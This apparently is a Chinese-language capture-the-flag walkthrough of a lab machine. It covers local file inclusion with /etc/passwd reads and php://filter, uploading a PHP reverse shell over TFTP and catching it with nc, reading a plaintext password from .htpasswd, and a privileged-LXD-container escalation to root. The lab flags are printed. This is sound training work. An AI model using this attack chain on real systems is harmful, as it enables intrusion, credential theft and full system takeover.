1.主机发现
nmap -v -sV -sC 10.129.2.53
只开放一个80端口
根据提示,还要进行UDP的扫描
nmap -sU -T3 -v 10.129.2.53
# -T5可能扫描不出结果,所以改成了-T3
开放了三个端口,之后可能会用到
2.本地包含漏洞
直接访问80端口,发现url如下
http://10.129.2.53/?file=home.php
猜测可能存在文件包含漏洞
由于扫描的结果是Ubuntu的系统
测试一下
?file=/etc/passwd
# 有时候不是在/下包含的,就必须要先跨越目录
# 如?file=../../../etc/passwd
本地文件包含成功,用户有root,mike,tftp等
注意到之前在进行UDP扫描的时候开放了69端口的tftp服务
3.php伪协议读取本地信息
这个之前打CTF的时候遇到了很多
?file=php://filter/read=convert.base64-encode/resource=home.php
读取base64加密后的home.php
可以base64解密
同样的方法可以读取index.php,解密后
<?php
if (_GET['file']) {
include(_GET['file']);
} else {
header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
}
?>
但是像db.php等信息就没办法再拿到了,而且这些信息也没啥用
4.tftp连接
利用kali自带的工具
tftp
connect 10.129.95.185
status
看返回的状态是成功了
tftp可使用的命令如下
connect connect to remote tftp
mode set file transfer mode
put send file
get receive file
quit exit tftp
verbose toggle verbose mode
trace toggle packet tracing
status show current status
binary set mode to octet
ascii set mode to netascii
rexmt set per-packet retransmission timeout
timeout set total retransmission timeout
? print help information
有put命令,所以考虑传一个反弹shell到目标靶机上
5.上传反弹shell
cp /usr/share/webshells/php/php-reverse-shell.php .
# 把kali自带的反弹shell的文件copy到当前目录
接下来修改ip和端口
tftp
put php-reverse-shell.php
# 返回Sent 5683 bytes in 2.7 seconds,说明上传成功
接下来我们要考虑shell.php上传的目录是哪里,如果我们可以知道这个目录,就可以利用本地文件包含执行shell.php,从而反弹shell
查询后可以知道tftp上传的默认路径是/var/lib/tftpboot
本地文件包含
?file=/var/lib/tftpboot/shell.php
# 本地监听4444端口
nc -lvnp 4444
成功拿到了一个shell
6.横向移动获取user flag
whoami
# 返回www-data,权限比较低
python3 -c "import pty; pty.spawn('/bin/bash')"
# pty提升
cd home/mike
cat user.txt
# 被拒了,权限太低
cd /var/www/html
# 去网站文件夹下看看
查看隐藏文件.htpasswd(必须-al才看的见)
cat .htpasswd
# 返回:mike:Sheffield19
su mike
# 输入密码,登录成功
cat user.txt
# flag{a56ef91d70cfbf2cdb8f454c006935a1}
7.提权获取root flag
首先肯定要看看mike的权限
sudo -l
一个都用不了
id
# 看下用户组,uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
# 是lxd用户组的,lxd可以直接用exp提权
LXD is a management API for dealing with LXC containers on Linux systems. It will
perform tasks for any members of the local lxd group. It does not make an effort to
match the permissions of the calling user to the function it is asked to perform.
依次执行
apt-get update
apt install -y golang-go debootstrap rsync gpg squashfs-tools
# 安装golang环境 distrobuilder built successfully成功编译
但是返回了一下错误
Get “https://proxy.golang.org/github.com/“: dial tcp 216.58.200.49:443: connect: connection refused
解决方法
换一个国内能访问的代理地址:https://goproxy.cn
go env -w GOPROXY=https://goproxy.cn
make
# distrobuilder built successfully成功编译
按照教程
mkdir -p HOME/ContainerImages/alpine/
cdHOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
第三步,又出现了一个问题
域名解析失败了
又得自己修改/etc/hosts文件
加上
199.232.96.133 raw.githubusercontent.com
这样就可以了
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
# 至此,成功编译了alpine的镜像
接下来开http服务,准备把这个传上去
在该目录下
python3 -m http.server 80
再在shell上获取这两个资源
wget http://10.10.16.153/rootfs.squashfs
wget http://10.10.16.153/lxd.tar.xz
获取成功
继续执行
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list
我们的镜像赫然其中
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
# 接下来和docker有点像,创建容器,然后把宿主的根目录挂载到容器的/mnt/root下,这样就可以直接在容器里访问到宿主也就是靶机的根目录了
lxc start privesc
lxc exec privesc /bin/sh
# 打开容器,并启动sh
是root权限
cd /mnt/root/root
cat root.txt
# flag{c693d9c7499d9f572ee375d4c14c7bcf}